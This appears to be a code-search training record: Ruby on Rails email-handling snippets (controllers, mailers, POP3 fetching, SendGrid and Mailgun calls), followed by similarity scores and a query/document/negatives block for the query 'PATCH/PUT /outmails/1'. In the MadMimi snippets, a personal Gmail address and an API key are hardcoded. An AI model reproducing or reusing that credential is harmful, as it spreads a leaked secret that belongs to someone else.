"def create\n @email = Email.new(params[:email])\n\n respond_to do |format|\n\n if @email.save\n\n format.html { redirect_to @email, notice: 'Thanks for writing, I\\'ll be in touch soon :-)' }\n format.json { render json: @email, status: :created, location: @email }\n EmailMailer.lets_talk(@email).deliver\n else\n format.html { render action: \"new\" }\n format.json { render json: @email.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @out = Out.new(out_params)\n\n respond_to do |format|\n if @out.save\n format.html { redirect_to @out, notice: 'Out was successfully created.' }\n format.json { render action: 'show', status: :created, location: @out }\n else\n format.html { render action: 'new' }\n format.json { render json: @out.errors, status: :unprocessable_entity }\n end\n end\n end",
"def response_request(leaveapplication)\n @leaveapplication = leaveapplication \n mail :to=> User.find(@leaveapplication.user_id).email.to_s,:cc=> \"abhijeet@drupaltechie.com\",:subject=>\"Response\"\n end",
"def new\n @email = @user.emails.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @email }\n end\n end",
"def new\n @outmessage = Outmessage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @outmessage }\n end\n end",
"def index\n @mail_tmps = MailTmp.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mail_tmps }\n end\n end",
"def create\n @user = User.find(current_user.id)\n @userpop = @user.userpop3s.find_by(id: params[:userpop3_id])\n #@usermail = @userpop.usermails.new(usermail_params)\n\n pop = @user.userpop3s.find_by(id: params[:userpop3_id])\n\n Mail.defaults do\n retriever_method :pop3, :address => pop.pop3,\n :port => pop.port,\n :user_name => pop.email,\n :password => pop.password,\n :enable_ssl => true\n end\n\n mail = Mail.find(:what => :first, :count => 10)\n\n mail.each do |m|\n @usermail = @userpop.usermails.new(usermail_params)\n @usermail.subject = m.subject\n part_to_use = m.html_part || m.text_part || m\n encoding = part_to_use.content_type_parameters['charset'] if part_to_use.content_type_parameters\n @usermail.content = part_to_use.body.decoded.force_encoding(encoding).encode('UTF-8')\n @usermail.from = m.from[0]\n @usermail.to = m.to[0]\n @usermail.date = m.date.to_s\n @usermail.user = @user\n\n @usermail.save\n\n # respond_to do |format|\n # if @usermail.save\n # format.html { redirect_to '/usermails' and return }\n # format.json { render :show, status: :created, location: @usermail }\n # else\n # format.html { render :new }\n # format.json { render json: @usermail.errors, status: :unprocessable_entity }\n # end\n # end\n\n end\n\n redirect_to userpop3_usermail_path(params[:userpop3_id], 1)\n end",
"def new\n @usermail = Usermail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @usermail }\n end\n end",
"def create\n @multicast = Multicast.new(multicast_params)\n @collections = Collection.all.order(\"enddate desc\")\n \n respond_to do |format|\n if @multicast.save\n format.html { redirect_to @multicast, notice: 'Multicast was successfully created.' }\n format.json { render :show, status: :created, location: @multicast }\n else\n format.html { render :new }\n format.json { render json: @multicast.errors, status: :unprocessable_entity }\n end\n end\n end",
"def mail\n @transaction = Transaction.find(params[:id])\n \n @transaction.steps.each do |step|\n StepMailer.deliver_uome_email(step) if step.to.email.present?\n end\n render :json => []\n end",
"def post_email(sg_mail)\n sg = SendGrid::API.new(api_key: Rails.application.secrets.email_key, host: 'https://api.sendgrid.com')\n begin\n response = sg.client.mail._('send').post(request_body: sg_mail.to_json)\n rescue SocketError\n if Rails.env.test?\n # not connected to the internet - so just allow it to continue.\n return Response.new(OfflineResponse.new)\n end\n end\n response\n end",
"def create\n @mad_mimi_email = MadMimiEmail.new(params[:mad_mimi_email])\n if @mad_mimi_email.list_names == \"users\"\n @mad_mimi_email.list_names = User.where(:notify => true).map{|user| [user.email, {'username' => user.username, 'email' => user.email, 'unsubscribe_link' => \"girlpowerproject.herokuapp.com/users/#{user.id}/change_subscription\"}]}\n end\n if @mad_mimi_email.list_names == \"admins\"\n @mad_mimi_email.list_names = User.where(:admin => true).map{|admin| [admin.email, {'username' => admin.username, 'email' => admin.email}]}\n end\n if @mad_mimi_email.list_names == \"organizations\"\n @mad_mimi_email.list_names = OrganizationAccount.where(:notify => true).map{|org| [org.email, {'firstname' => org.first_name, 'lastname' => org.last_name, 'position' => org.position, 'email' => org.email, 'username' => org.username, 'country' => org.country, 'organization_name' => Organization.find(org.organization_id).name, 'unsubscribe_link' => \"girlpowerproject.herokuapp.com/organization_accounts/#{user.id}/change_subscription\"}]}\n end\n \n @mad_mimi_email.list_names.each do |f|\n @options = {\"promotion_name\" => @mad_mimi_email.promotion_name, \"recipients\" => f[0], \"from\" => @mad_mimi_email.from, \"subject\" => @mad_mimi_email.subject}\n @yaml_body = f[1]\n @saved = MadMimi.new(\"sarahsponda902@gmail.com\", 'df65cf0a215c2b3028fa7eaf89a6f2ba').send_mail(@options, @yaml_body)\n end\n respond_to do |format|\n if @mad_mimi_email.save\n format.html { redirect_to @mad_mimi_email, notice: 'Mad mimi email was successfully created.', :notice => @saved }\n format.json { render json: @mad_mimi_email, status: :created, location: @mad_mimi_email }\n else\n format.html { render action: \"new\" }\n format.json { render json: @mad_mimi_email.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @mad_mimi_email = MadMimiEmail.new\n @mimi = MadMimi.new('sarahsponda902@gmail.com', 'df65cf0a215c2b3028fa7eaf89a6f2ba')\n @promotions = @mimi.promotions\n @emails = User.where(:notify => true).map(&:email)\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mad_mimi_email }\n end\n end",
"def create\n @entry_mail_type = EntryMailType.new(params[:entry_mail_type])\n \n respond_to do |format|\n if @entry_mail_type.save\n format.html { redirect_to @entry_mail_type, :notice => t('selecao_admin.flash_messages.successfully_created', :model => @entry_mail_type.class.model_name.human) }\n format.json { render :json => @entry_mail_type, :status => :created, :location => @entry_mail_type }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @entry_mail_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def save_as_JSON\n for i in 0..get_townhall_urls.length-1\n json_email = (get_townhall_email(get_townhall_urls[i])).to_json\n File.open(\"db/emails.json\", \"a\") { |file| file.puts json_email}\n end\n end",
"def sendemailtoattendees\n \t@users = ConferenceUser.where(:conference_id => Conference.active)\n \t@sub = params[:emailbody]\n\n @array = []\n\n @users.each do |u|\n @getname = @sub.sub(\"@@Name@@\", \"#{u.user[:first_name]} #{u.user[:last_name]}\" )\n @array << @getname\n end\n\n render :text => @array.to_json\n\n\n\n end",
"def create\n flash[:notice] = 'The email address was successfully added.' if email_address.save\n respond_with(email_address)\n end",
"def create\n @usuarios_email = UsuariosEmail.new(usuarios_email_params)\n\n respond_to do |format|\n if @usuarios_email.save\n CorreoElectronico.email_bienvenida(@usuarios_email).deliver\n format.html { redirect_to @usuarios_email, notice: 'Usuarios email was successfully created.' }\n format.json { render json: @usuarios_email, status: :created, location: @usuarios_email }\n else\n format.html { render action: 'new' }\n format.json { render json: @usuarios_email.errors, status: :unprocessable_entity }\n end\n end\n end",
"def email_json\n {\n key: ENV['MANDRILL_API_KEY'],\n message: {\n to: @to,\n from_email: @from_email,\n from_name: @from_name,\n subject: @subject,\n text: @text\n }\n }.to_json\n end",
"def create\n @email = @autocrypt.prepare_outgoing(Email.new email_params)\n\n respond_to do |format|\n if @email.save\n format.html { redirect_to user_emails_path(@user), notice: 'Email was successfully send.' }\n format.json { render :show, status: :created, location: @email }\n else\n format.html { render :new }\n format.json { render json: @email.errors, status: :unprocessable_entity }\n end\n end\n end",
"def outlook_params\n params.require(:outlook).permit(:correo, :clave, :nombre)\n end",
"def create\n @gee_mail = GeeMail.new(gee_mail_params)\n\n respond_to do |format|\n if @gee_mail.save\n mail_sender\n p '##################################################'\n p @gee_mail\n p '##################################################'\n format.html { redirect_to @gee_mail, notice: 'Gee mail was successfully created.' }\n format.json { render :show, status: :created, location: @gee_mail }\n else\n format.html { render :new }\n format.json { render json: @gee_mail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def message_from_mentee_outreach\n MenteeOutreachResponse.process_text(params)\n render :text => ''\n end",
"def index\n @ourmails = Mail.all\n end",
"def notify(data)\n puts data[:email]\n @body = data[:body]\n mail to: data[:email], subject: data[:subject]\n end",
"def destroy\n @usermail.destroy\n respond_to do |format|\n format.html { redirect_to usermails_url, notice: 'Usermail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def create\n @email = @user.emails.new(params[:email])\n\n respond_to do |format|\n if @email.save\n format.html { redirect_to [@game, @user, @email], notice: 'Email was successfully created.' }\n format.json { render json: [@game, @user, @email], status: :created, location: [@game, @user, @email] }\n else\n format.html { render action: \"new\" }\n format.json { render json: @email.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create(address, options={})\n \tparams = {:address => address}\n Mailgun.submit :post, list_url, params.merge(options)\n end",
"def to_users\n message = AssignTasksToUsers.new(params).perform\n json_response({message: message}, :created)\n end",
"def generateSubmitterMailList()\n\tsubmitter_map = {}\n\t# Handle duplicate users\n\t@submit_changes.each do |item|\n\t\tsubmitter_map[item.user_id] = item.user_email\n\tend\n\temail_to = \"\"\n\tsubmitter_map.each do |user_id, user_email|\n\t\temail_to = \"#{user_email}, #{email_to}\"\n\tend\n\t#Remove if exist\n\tif (File.exists?(\"email_to.txt\")) then\n\t\tFile.delete(\"email_to.txt\")\n\tend\n\tFile.open(\"email_to.txt\", File::WRONLY|File::CREAT) { |f|\n\t\tf.puts email_to\n\t}\nend",
"def index\n @recipients = Recipient.order('email')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @recipients }\n end\n end",
"def new\n @my_mail = MyMail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @my_mail }\n end\n end",
"def export_responses(distribution_method:, time_range:, contact_fields:, sources:, analysis_fields:, account: nil, **params)\n params.merge!(\n :distribution_method => distribution_method,\n :time_range => time_range,\n :contact_fields => Emarsys::ParamsConverter.new(contact_fields).convert_to_ids,\n :sources => sources,\n :analysis_fields => analysis_fields\n )\n post account, \"email/getresponses\", params\n end",
"def cash_out_paid(cash_out)\n @cash_out = cash_out\n\n set_attachments\n\n mail(to: cash_out.user.email, subject: \"Notificaciones @ Social Target - Se ha realizado el pago de un Cash Out\")\n end",
"def destroy\n @users_mail = UsersMail.find(params[:id])\n @users_mail.destroy\n\n respond_to do |format|\n format.html { redirect_to users_mails_url }\n format.json { head :ok }\n end\n end",
"def enviar_informes(competencia, root_url)\n \n @root_url = root_url.to_s.gsub(/\\/+$/, '')\n @competencia = competencia\n @destinos = Mantenedor.mail_evento.collect {|d| d.valor}.join(', ')\n puts \"Esto llego aca !\" + competencia.tipocompetencia.to_s\n #Recibo destinos desde el mantenedor \n mail(:to => @destinos, :subject => \"New Models | Envio Detalle de Competencias - #{competencia.id.to_s}\") \n end",
"def outgoing_params\n params.require(:outgoing).permit(:id, :user_id, :outtype, :value, :description)\n end",
"def create\n @email_submission = EmailSubmission.new(params[:email_submission])\n email = @email_submission.email_id\n message = @email_submission.email_message_id\n server = @email_submission.server_id\n delivered = false \n\n respond_to do |format|\n if @email_submission.save\n #@email_submission.deliver(server, email, message)\n format.html { redirect_to email_submissions_url, notice: 'Email submission was successfully created.' }\n format.json { render json: @email_submissions, status: :created, location: @email_submission }\n else\n format.html { render action: \"new\" }\n format.json { render json: @email_submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @emails = current_user.emails\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @emails }\n end\n end",
"def create\n @outlook = Outlook.new(outlook_params)\n\n respond_to do |format|\n if @outlook.save\n format.html { redirect_to @outlook, notice: 'Outlook was successfully created.' }\n format.json { render :show, status: :created, location: @outlook }\n else\n format.html { render :new }\n format.json { render json: @outlook.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @email = Email.create!(valid_params)\n json_response(@email, :created)\n end",
"def index\n @gee_mails = GeeMail.all\n end",
"def new\n @entry_mail = EntryMail.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @entry_mail }\n end\n end",
"def create\n @user = Person.where(email: params[:email]).first\n @user.deliver_reset_password_instructions! if @user\n render :json => { ok:1, notice: 'Instructions have been sent to your email.'}, status: 200, scope:nil\n end",
"def create\n @raw_mail = RawMail.new(raw_mail_params)\n\n respond_to do |format|\n if @raw_mail.save\n format.html { redirect_to @raw_mail, notice: 'Raw mail was successfully created.' }\n format.json { render :show, status: :created, location: @raw_mail }\n else\n format.html { render :new }\n format.json { render json: @raw_mail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @service_email = ServiceEmail.new(params[:service_email])\n\n respond_to do |format|\n if @service_email.save\n format.html { redirect_to @service_email, notice: 'Service email was successfully created.' }\n format.json { render json: @service_email, status: :created, location: @service_email }\n else\n format.html { render action: \"new\" }\n format.json { render json: @service_email.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @user_send_mail = UserSendMail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user_send_mail }\n end\n end",
"def destroy\n @entry_mail = EntryMail.find(params[:id])\n @entry_mail.destroy\n \n respond_to do |format|\n format.html { redirect_to entry_mails_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.66350275",
"0.64947957",
"0.6109473",
"0.5841467",
"0.58384764",
"0.5626277",
"0.5548303",
"0.55094033",
"0.5487426",
"0.54558563",
"0.52912575",
"0.5282537",
"0.5274942",
"0.5267035",
"0.52233577",
"0.5219571",
"0.52139235",
"0.5199292",
"0.51882917",
"0.5153854",
"0.50897145",
"0.50868344",
"0.5060342",
"0.5043738",
"0.50346214",
"0.5033383",
"0.50330406",
"0.50265294",
"0.50161695",
"0.5008927",
"0.5000748",
"0.5000117",
"0.4991956",
"0.4990945",
"0.49855196",
"0.49755138",
"0.4973502",
"0.49700624",
"0.49671638",
"0.49637732",
"0.49569058",
"0.49507597",
"0.49393928",
"0.49361235",
"0.49280977",
"0.49280977",
"0.49248987",
"0.49239245",
"0.49150425",
"0.49150407",
"0.4888864",
"0.48721257",
"0.4867916",
"0.48570687",
"0.4855577",
"0.48490226",
"0.48446628",
"0.4833508",
"0.48326644",
"0.48314407",
"0.48310468",
"0.4823996",
"0.4821785",
"0.48206773",
"0.48195085",
"0.48140702",
"0.48125783",
"0.48099357",
"0.4790402",
"0.4788606",
"0.4786318",
"0.4782077",
"0.4778925",
"0.47778523",
"0.47733885",
"0.47733167",
"0.47675192",
"0.47610006",
"0.4759624",
"0.47573763",
"0.47547024",
"0.47475097",
"0.47451487",
"0.47433183",
"0.4740466",
"0.473758",
"0.47368893",
"0.4736483",
"0.47332716",
"0.47274935",
"0.47223416",
"0.472025",
"0.4709459",
"0.47089982",
"0.47085798",
"0.4707839",
"0.47077686",
"0.47056505",
"0.4702602",
"0.47021452"
] |
0.69465715
|
0
|
PATCH/PUT /outmails/1 PATCH/PUT /outmails/1.json
|
def update
respond_to do |format|
if @outmail.update(outmail_params)
format.html { redirect_to @outmail, notice: 'Outmail was successfully updated.' }
format.json { render :show, status: :ok, location: @outmail }
else
format.html { render :edit }
format.json { render json: @outmail.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n remove_email_dependencies\n migrate_template_to_email\n respond_to do |format|\n if @email.save\n build_emails\n format.html {redirect_to emails_url, notice: 'Email was updated.'}\n format.json {render :index, status: :ok }\n else\n format.html {render :edit}\n format.json {render json: @email.errors, status: :unprocessable_entity}\n end\n end\n end",
"def update\n @email_reminder.update(email_reminder_params)\n respond_with @email_reminder\n end",
"def update\n respond_to do |format|\n if @mail.update(mail_params)\n format.html { redirect_to @mail, notice: 'Mail was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @mail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @my_mail = MyMail.find(params[:id])\n\n respond_to do |format|\n if @my_mail.update_attributes(params[:my_mail])\n format.html { redirect_to @my_mail, notice: 'My mail was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @my_mail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @ourmail.update(ourmail_params)\n format.html { redirect_to @ourmail, notice: 'Mail was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @ourmail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @usermail = Usermail.find(params[:id])\n\n respond_to do |format|\n if @usermail.update_attributes(params[:usermail])\n format.html { redirect_to @usermail, :notice => 'Usermail was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @usermail.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @users_mail = UsersMail.find(params[:id])\n\n respond_to do |format|\n if @users_mail.update_attributes(params[:users_mail])\n format.html { redirect_to @users_mail, notice: 'Users mail was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @users_mail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @email = @user.emails.find(params[:id])\n\n respond_to do |format|\n if @email.update_attributes(email_params)\n format.html { redirect_to @email, notice: 'Email was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @email.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @forgotmail.update(forgotmail_params)\n format.html { redirect_to @forgotmail, notice: 'Forgotmail was successfully updated.' }\n format.json { render :show, status: :ok, location: @forgotmail }\n else\n format.html { render :edit }\n format.json { render json: @forgotmail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @inform_mail.update(inform_mail_params)\n format.html { redirect_to @inform_mail, notice: 'Inform mail was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @inform_mail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @request_email.update(request_email_params)\n format.html { redirect_to @request_email, notice: \"Request email was successfully updated.\" }\n format.json { render :show, status: :ok, location: @request_email }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @request_email.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @mailbox = Mailbox.find(params[:id])\n\n respond_to do |format|\n if @mailbox.update_attributes(params[:mailbox])\n format.html { redirect_to mailboxes_path, notice: 'Mailbox was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mailbox.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @usermail.update(usermail_params)\n format.html { redirect_to @usermail, notice: 'Usermail was successfully updated.' }\n format.json { render :show, status: :ok, location: @usermail }\n else\n format.html { render :edit }\n format.json { render json: @usermail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @entry_mail = EntryMail.find(params[:id])\n \n respond_to do |format|\n if @entry_mail.update_attributes(params[:entry_mail])\n format.html { redirect_to @entry_mail, :notice => t('selecao_admin.flash_messages.successfully_updated', :model => @entry_mail.class.model_name.human) }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @entry_mail.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @inform_mail = InformMail.find(params[:id])\n\n respond_to do |format|\n if @inform_mail.update_attributes(params[:inform_mail])\n format.html { redirect_to @inform_mail, notice: 'Inform mail was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @inform_mail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @email.update(email_params)\n format.html { redirect_to @email, notice: 'Email was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @email.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @email = @user.emails.find(params[:id])\n\n respond_to do |format|\n if @email.update_attributes(params[:email])\n format.html { redirect_to [@game, @user, @email], notice: 'Email was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @email.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @email = Email.find(params[:id])\n respond_to do |format|\n if @email.update_attributes(params[:email])\n format.html { redirect_to @email, notice: 'Email was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @email.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @email = Email.find(params[:id])\n\n respond_to do |format|\n if @email.update_attributes(params[:email])\n format.html { redirect_to @email, notice: 'Email was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @email.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @email.update(valid_params)\n json_response(@email)\n end",
"def update\n respond_to do |format|\n if @gee_mail.update(gee_mail_params)\n format.html { redirect_to @gee_mail, notice: 'Gee mail was successfully updated.' }\n format.json { render :show, status: :ok, location: @gee_mail }\n else\n format.html { render :edit }\n format.json { render json: @gee_mail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @messaging_outbox = Messaging::Outbox.find(params[:id])\n\n respond_to do |format|\n if @messaging_outbox.update_attributes(params[:messaging_outbox])\n format.html { redirect_to @messaging_outbox, notice: 'Outbox was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @messaging_outbox.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @email_update = EmailUpdate.find(params[:id])\n\n respond_to do |format|\n if @email_update.update_attributes(params[:email_update])\n format.html { redirect_to @email_update, notice: 'Email update was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @email_update.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @mail_item.update(mail_item_params)\n format.html { redirect_to @mail_item, notice: 'Mail item was successfully updated.' }\n format.json { render :show, status: :ok, location: @mail_item }\n else\n format.html { render :edit }\n format.json { render json: @mail_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @outlook.update(outlook_params)\n format.html { redirect_to @outlook, notice: 'Outlook was successfully updated.' }\n format.json { render :show, status: :ok, location: @outlook }\n else\n format.html { render :edit }\n format.json { render json: @outlook.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch!\n request! :patch\n end",
"def update\n @mail_check = MailCheck.find(params[:id])\n\n respond_to do |format|\n if @mail_check.update_attributes(mail_check_params)\n format.html { redirect_to @mail_check, notice: 'Mail check was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mail_check.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @mail_typ = MailTyp.find(params[:id])\n\n respond_to do |format|\n if @mail_typ.update_attributes(params[:mail_typ])\n format.html { redirect_to @mail_typ, notice: 'Mail typ was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mail_typ.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @mail_item.update(mail_item_params)\n format.html { redirect_to @mail_item, notice: '更新成功.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @mail_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @raw_mail.update(raw_mail_params)\n format.html { redirect_to @raw_mail, notice: 'Raw mail was successfully updated.' }\n format.json { render :show, status: :ok, location: @raw_mail }\n else\n format.html { render :edit }\n format.json { render json: @raw_mail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @email.update(email_params)\n format.html { redirect_to @email, notice: 'Email was successfully updated.' }\n format.json { render :show, status: :ok, location: @email }\n else\n format.html { render :edit }\n format.json { render json: @email.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @email.update(email_params)\n format.html { redirect_to @email, notice: 'Email was successfully updated.' }\n format.json { render :show, status: :ok, location: @email }\n else\n format.html { render :edit }\n format.json { render json: @email.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @email.update(email_params)\n format.html { redirect_to @email, notice: 'Email was successfully updated.' }\n format.json { render :show, status: :ok, location: @email }\n else\n format.html { render :edit }\n format.json { render json: @email.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @email.update(email_params)\n format.html { redirect_to @email, notice: 'Email was successfully updated.' }\n format.json { render :show, status: :ok, location: @email }\n else\n format.html { render :edit }\n format.json { render json: @email.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @email.update(email_params)\n format.html { redirect_to @email, notice: 'Email was successfully updated.' }\n format.json { render :show, status: :ok, location: @email }\n else\n format.html { render :edit }\n format.json { render json: @email.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @email.update(email_params)\n format.html { redirect_to @email, notice: 'Email was successfully updated.' }\n format.json { render :show, status: :ok, location: @email }\n else\n format.html { render :edit }\n format.json { render json: @email.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @email.update(email_params)\n format.html { redirect_to @email, notice: 'Email was successfully updated.' }\n format.json { render :show, status: :ok, location: @email }\n else\n format.html { render :edit }\n format.json { render json: @email.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @mailconfig = Mailconfig.find(params[:id])\n\n respond_to do |format|\n if @mailconfig.update_attributes(params[:mailconfig])\n format.html { redirect_to @mailconfig, notice: 'Mailconfig was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mailconfig.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @admin_system_email.update(admin_system_email_params)\n format.html { redirect_to @admin_system_email, notice: 'System email was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @admin_system_email.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @outmessage = Outmessage.find(params[:id])\n\n respond_to do |format|\n if @outmessage.update_attributes(params[:outmessage])\n format.html { redirect_to @outmessage, :notice => 'Outmessage was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @outmessage.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @email.update(email_params)\n format.html { redirect_to edit_email_path(@email), notice: 'Email was successfully updated.' }\n format.json { render :show, status: :ok, location: @email }\n else\n format.html { render :edit }\n format.json { render json: @email.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_with []\n end",
"def update\n @mail_item = MailItem.find(params[:id])\n\n respond_to do |format|\n if @mail_item.update_attributes(params[:mail_item])\n format.html { redirect_to \"/home/email\", notice: '电子邮箱修改成功.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mail_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @service_email = ServiceEmail.first\n\n respond_to do |format|\n if @service_email.update_attributes(params[:service_email])\n format.html { redirect_to admin_experiences_path, notice: 'Service email was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @service_email.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_users_password_by_e_mail(args = {}) \n put(\"/users.json/backoffice/email/#{args[:email]}/password/#{args[:password]}\", args)\nend",
"def update_users_password_by_e_mail(args = {}) \n put(\"/users.json/backoffice/email/#{args[:email]}/password/#{args[:password]}\", args)\nend",
"def update\n @emails = Email.all\n @messages = EmailMessage.all\n @email_submission = EmailSubmission.find(params[:id])\n\n respond_to do |format|\n if @email_submission.update_attributes(params[:email_submission])\n format.html { redirect_to @email_submission, notice: 'Email submission was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @email_submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @dispatched_email = DispatchedEmail.find(params[:id])\n\n respond_to do |format|\n if @dispatched_email.update_attributes(params[:dispatched_email])\n format.html { redirect_to @dispatched_email, notice: 'Dispatched email was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @dispatched_email.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @emailu = Emailu.find(params[:id])\n\n respond_to do |format|\n if @emailu.update_attributes(params[:emailu])\n format.html { redirect_to @emailu, notice: 'Emailu was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @emailu.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @email_notification.update(email_notification_params)\n format.html { redirect_to @email_notification, notice: 'Email notification was successfully updated.' }\n format.json { render :show, status: :ok, location: @email_notification }\n else\n format.html { render :edit }\n format.json { render json: @email_notification.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @pushup_reminder.update_attributes(params[:pushup_reminder])\n format.html { redirect_to [@user, @pushup_reminder], notice: 'Pushup reminder was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pushup_reminder.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @usuarios_email.update(usuarios_email_params)\n format.html { redirect_to @usuarios_email, notice: 'Usuarios email was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @usuarios_email.errors, status: :unprocessable_entity }\n end\n end\n end",
